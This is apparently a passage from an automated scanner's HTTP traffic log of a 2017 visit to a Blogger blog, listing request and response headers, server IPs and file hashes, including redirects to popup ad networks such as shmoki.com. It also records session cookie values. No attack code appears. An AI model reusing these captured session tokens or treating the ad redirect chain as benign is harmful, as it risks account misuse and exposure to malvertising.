Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.220.84
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:52 GMT
Content-Length: 178
Connection: keep-alive
Location: http://www.shmoki.com/servepop.php?wid=61455&c=0


--- Additional Info ---
Magic:  HTML document text
Size:   178
Md5:    cd2e0e43980a00fb6a2742d3afd803b8
Sha1:   81ffbd1712afe8cdf138b570c0fc9934742c33c1
Sha256: bd9df047d51943acc4bc6cf55d88edb5b6785a53337ee2a0f74dd521aedde87d
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=googleapis_client,gapi_iframes_style_common,gapi_iframes_iframer/am=AQ/rt=j/d=1/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://apis.google.com/se/0/_/+1/fastbutton?usegapi=1&annotation=inline&width=300&size=medium&source=blogger%3Ablog%3Aplusone&hl=ar&origin=http%3A%2F%2Fboswekol.blogspot.no&url=http%3A%2F%2Fboswekol.blogspot.com%2F2014%2F05%2Fblog-post_23.html&gsrc=3p&ic=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 44716
Date: Thu, 12 Oct 2017 18:17:58 GMT
Expires: Fri, 12 Oct 2018 18:17:58 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 71754
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   44716
Md5:    95050c9c51441ce7aedcb15c820b1b6f
Sha1:   069e96a92ce71a14833c53bd3516f5f8a2556d91
Sha256: 1da03bc638069e15274f8bcf41401e46837ceea995075934702afc3aa9e5a933
                                        
                                            GET /a/display.php?r=328230&sub1=84936 HTTP/1.1 
Host: www.adnetworkperformance.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         130.211.186.109
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Referrer-Policy: no-referrer
Link: <//www.adnetworkperformance.com>; rel=dns-prefetch,<//www.adnetworkperformance.com>; rel=preconnect
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   2153
Md5:    618e7c206231659618687f9bb53911ea
Sha1:   6c8ffd3d42da592448c40d5af0faeb28dda2e2a2
Sha256: 49160d69906ebc9ad873fa9684cc721851d36be8dcf0dab44d7f9dc89afaae2b
                                        
                                            GET /comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Location: https://accounts.google.com/ServiceLogin?continue=https://www.blogger.com/comment-iframe.g?blogID%3D6930885793886820903%26postID%3D8384554864994590423%26blogspotRpcToken%3D5419195%26bpli%3D1&followup=https://www.blogger.com/comment-iframe.g?blogID%3D6930885793886820903%26postID%3D8384554864994590423%26blogspotRpcToken%3D5419195%26bpli%3D1&passive=true&go=true
Content-Encoding: gzip
Date: Fri, 13 Oct 2017 14:13:52 GMT
Expires: Fri, 13 Oct 2017 14:13:52 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   319
Md5:    c65cd2904c429e559478fb93ede80595
Sha1:   bf56296ca3319427953dc896e5850abf05e6fed2
Sha256: a2d5f2a9701fb0e197a4ac01c155dbdffd341b6bf04b4ff6f0629119605b1acb
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=gapi_iframes/exm=auth,plusone/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg/cb=gapi.loaded_2 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 903
Date: Thu, 12 Oct 2017 20:30:00 GMT
Expires: Fri, 12 Oct 2018 20:30:00 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 63832
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   903
Md5:    86eef041cfa118f615707b21f13dc01d
Sha1:   419a7e1c5a24df06218f48e143468355c87639e3
Sha256: b6fc531de134b544c4d4ff81876e31d2d87fd004f3dd11e54a42d18c9db47324
                                        
                                            GET /o/oauth2/postmessageRelay?parent=http%3A%2F%2Fboswekol.blogspot.no&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg HTTP/1.1 
Host: accounts.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.173
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Expires: Sat, 14 Oct 2017 14:13:52 GMT
Date: Fri, 13 Oct 2017 14:13:52 GMT
Cache-Control: public, max-age=86400
Content-Encoding: gzip
Server: ESF
X-XSS-Protection: 1; mode=block
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   365
Md5:    dabe1fe0f63f68f91f8492b7d41277ff
Sha1:   04fd09d9690df75cbb26eec3c0748e62a16013ce
Sha256: 719e17f9b328147580e9f8b1453475e5b2d2ecf04962bfee7c1e55df1043368a
                                        
                                            GET /servepop.php?wid=61455&c=0 HTTP/1.1 
Host: www.shmoki.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.220.84
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:52 GMT
Transfer-Encoding: chunked
Connection: close
Set-Cookie: shmpId=ff82d8654c11378f5ddd9e41987c2426; expires=Fri, 13-Oct-2017 14:13:52 GMT; path=/ shmpCId=f7fd403c2d1eb4b34656a512c60d9f3f; expires=Sat, 14-Oct-2017 14:13:52 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   3349
Md5:    8ce0dc1fc8fd430037f428ca7cb76406
Sha1:   270617fe85998f68477271f22a9f56cec35143b9
Sha256: 49c76d64b43dfe45b5019e6d67e41b059739922ff442c5d109194b73f84c193f
                                        
                                            GET /ServiceLogin?continue=https://www.blogger.com/comment-iframe.g?blogID%3D6930885793886820903%26postID%3D8384554864994590423%26blogspotRpcToken%3D5419195%26bpli%3D1&followup=https://www.blogger.com/comment-iframe.g?blogID%3D6930885793886820903%26postID%3D8384554864994590423%26blogspotRpcToken%3D5419195%26bpli%3D1&passive=true&go=true HTTP/1.1 
Host: accounts.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.173
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
X-Frame-Options: DENY
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:53 GMT
Location: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Strict-Transport-Security: max-age=31536000; includeSubDomains
content-security-policy: script-src 'unsafe-inline' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: GAPS=1:clCynw13sQJD5hrdlEy8FbFiFgzrig:EmGv7MNI2zQx2rcv;Path=/;Expires=Sun, 13-Oct-2019 14:13:53 GMT;Secure;HttpOnly;Priority=HIGH
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   257
Md5:    f8537b7564aaed3e468f7fdc291b0b26
Sha1:   9a6593431f733d7de9fd068c8746550f386e6a73
Sha256: c7048a4edccf085381ff94a021a40cbc295987227703d361a4afd7cc8676ac63
                                        
                                            POST /ocsp HTTP/1.1 
Host: clients1.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:53 GMT
Expires: Tue, 17 Oct 2017 14:13:53 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    0a14338a299b2c02742cd6f9e33596b0
Sha1:   a69501c94549c32d1b3b25358a2305e9d628ea16
Sha256: c3cc36c99da38011eda1ff5ddf24d8367eb22fd9668046f8c4857ddb55e7b82e
                                        
                                            GET /js/rpc:shindig_random.js?onload=init HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://accounts.google.com/o/oauth2/postmessageRelay?parent=http%3A%2F%2Fboswekol.blogspot.no&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
x-ua-compatible: IE=edge, chrome=1
Timing-Allow-Origin: *
Etag: "862447553fc7f21eefa0f5321e562c86"
Expires: Fri, 13 Oct 2017 14:13:53 GMT
Date: Fri, 13 Oct 2017 14:13:53 GMT
Cache-Control: private, max-age=1800, stale-while-revalidate=1800
Strict-Transport-Security: max-age=31536000
Content-Encoding: gzip
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   5456
Md5:    ac397d26c01a6b9c4c4d6abbf610a356
Sha1:   1a8c65bc3c48432c46b2310760c418447d2c3a2a
Sha256: 06d9001b61ee40837e6221e22b1b50401463180d73d293a96418bdebd935fa1d
                                        
                                            GET /accounts/o/971028622-postmessagerelay.js HTTP/1.1 
Host: ssl.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://accounts.google.com/o/oauth2/postmessageRelay?parent=http%3A%2F%2Fboswekol.blogspot.no&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg

                                         
                                         172.217.22.163
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4512
Date: Thu, 12 Oct 2017 18:15:26 GMT
Expires: Fri, 12 Oct 2018 18:15:26 GMT
Last-Modified: Wed, 11 Oct 2017 22:34:08 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 71907
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   4512
Md5:    c41dc9da703c13b923ba04f7f4dd9137
Sha1:   0c4fc1bdf44857be1104d9eb4c87fcfa88b6a066
Sha256: b0161a7902e960e4de936ed83bfcc4af8b6063d5503ca13edd7eea8f86af03a9
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=rpc,shindig_random/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg/cb=gapi.loaded_0 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://accounts.google.com/o/oauth2/postmessageRelay?parent=http%3A%2F%2Fboswekol.blogspot.no&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 16477
Date: Thu, 12 Oct 2017 18:17:59 GMT
Expires: Fri, 12 Oct 2018 18:17:59 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 71754
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   16477
Md5:    456c107e71e6baabd35161f27bac6414
Sha1:   260083dd624f008fc37e8b3b450e01408e3c16b5
Sha256: e686866e5db4c98de53f2fe74970d3146da36eb3a0ce4b14ba2f6e583cbbe5cc
                                        
                                            GET /comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:53 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7; Domain=.blogger.com; Path=/; Secure; HttpOnly; Priority=LOW
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   2016
Md5:    127e15435047283030926a8c1a16e0bf
Sha1:   703f71c5aac114f10219975d72a7e8af3426a3ab
Sha256: d568194008bc9c1b695c47fa3f33658e8243ae0319fef7328d9e376601550c43
                                        
                                            GET /img/blank.gif HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Accept-Ranges: bytes
Content-Length: 43
Date: Thu, 12 Oct 2017 23:25:18 GMT
Expires: Thu, 19 Oct 2017 23:25:18 GMT
Last-Modified: Thu, 12 Oct 2017 21:24:53 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 53315
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    325472601571f31e1bf00674c368d335
Sha1:   2daeaa8b5f19f0bc209d976c02bd6acb51b00b0a
Sha256: b1442e85b03bdcaf66dc58c7abb98745dd2687d86350be9a298a1d9382ac849b
                                        
                                            GET /static/v1/v-css/4206475722-cmtfp_rtl.css HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3618
Date: Thu, 12 Oct 2017 23:30:42 GMT
Expires: Fri, 12 Oct 2018 23:30:42 GMT
Last-Modified: Thu, 12 Oct 2017 21:24:53 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 52991
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   3618
Md5:    2ad0d86ad3fd5fb99603c739ee44ba3a
Sha1:   475a0d9a338ccbd040e50e5d3cc6a7bb25545f2c
Sha256: 11a3bd6bad6ad5bcafab1dd2dcaf65e7730dd5c6d7e9ed6df47148d1683ca966
                                        
                                            GET /a/display.php?r=328230&sub1=84936&treqn=1872029990&runauction=1&crr=2a8025d97a1e15ffda2e,42b2pGLxATX2FXby9SZt5GYEBzJ3IDRwciNzIDMEBzJtxGL21mcxVWbuBGLu1WanVXctBGRwcCRwcyQxcic2Zna663d6979a1ff2d75265d&cbrandom=0.8395307371596352&cbtitle=%D8%A8%D8%B3%D9%83%D9%88%D9%8A%D8%AA%20%D8%A7%D9%84%D8%B9%D9%8A%D8%AF%20%D8%A8%D8%A7%D9%84%D9%85%D8%A7%D9%83%D9%8A%D9%86%D9%87%20~%20%D8%A8%D8%B5%20%D9%88%D9%83%D9%84&cbiframe=0&cbWidth=1176&cbHeight=754&cbdescription=&cbkeywords=&cbref= HTTP/1.1 
Host: www.adnetworkperformance.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         130.211.186.109
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Robots-Tag: noindex
Cache-Control: no-store, no-cache, no-transform, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Link: <//lp.gclexperts.com>; rel=dns-prefetch,<//lp.gclexperts.com>; rel=preconnect,<//www.adnetworkperformance.com>; rel=dns-prefetch,<//www.adnetworkperformance.com>; rel=preconnect,<//b.codeonclick.com>; rel=dns-prefetch,<//b.codeonclick.com>; rel=preconnect
Set-Cookie: acnetwork=4d28817b59e0ca217fafe5d1d8; expires=Wed, 30-Dec-2037 23:00:00 GMT; Max-Age=637922767; path=/
Referrer-Policy: no-referrer
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   13619
Md5:    4f1cb5204bcf33a323e48ee2f039410b
Sha1:   ae78953ee45a6c5dea9cf525cfc718ffc4d50f3d
Sha256: d7bdf785387d03afcccd62ea2ce5c86e4d9f78f13db82a0acf927289ab32d4d9
                                        
                                            GET /img/cmt/close.gif HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=6930885793886820903&postID=8384554864994590423&blogspotRpcToken=5419195&bpli=1
Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Accept-Ranges: bytes
Content-Length: 347
Date: Thu, 12 Oct 2017 23:29:55 GMT
Expires: Thu, 19 Oct 2017 23:29:55 GMT
Last-Modified: Thu, 12 Oct 2017 01:54:12 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 53038
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 16 x 16
Size:   347
Md5:    6671b9932cbb79a2c2a018ed2c3bf3fb
Sha1:   40566dd706279a44ebd477df58a4cf75ab99cae8
Sha256: df6cb367e3692c4d2056dd69c54bea18458148ef028ce7b998824f9f49ceafd6
                                        
                                            POST /ocsp HTTP/1.1 
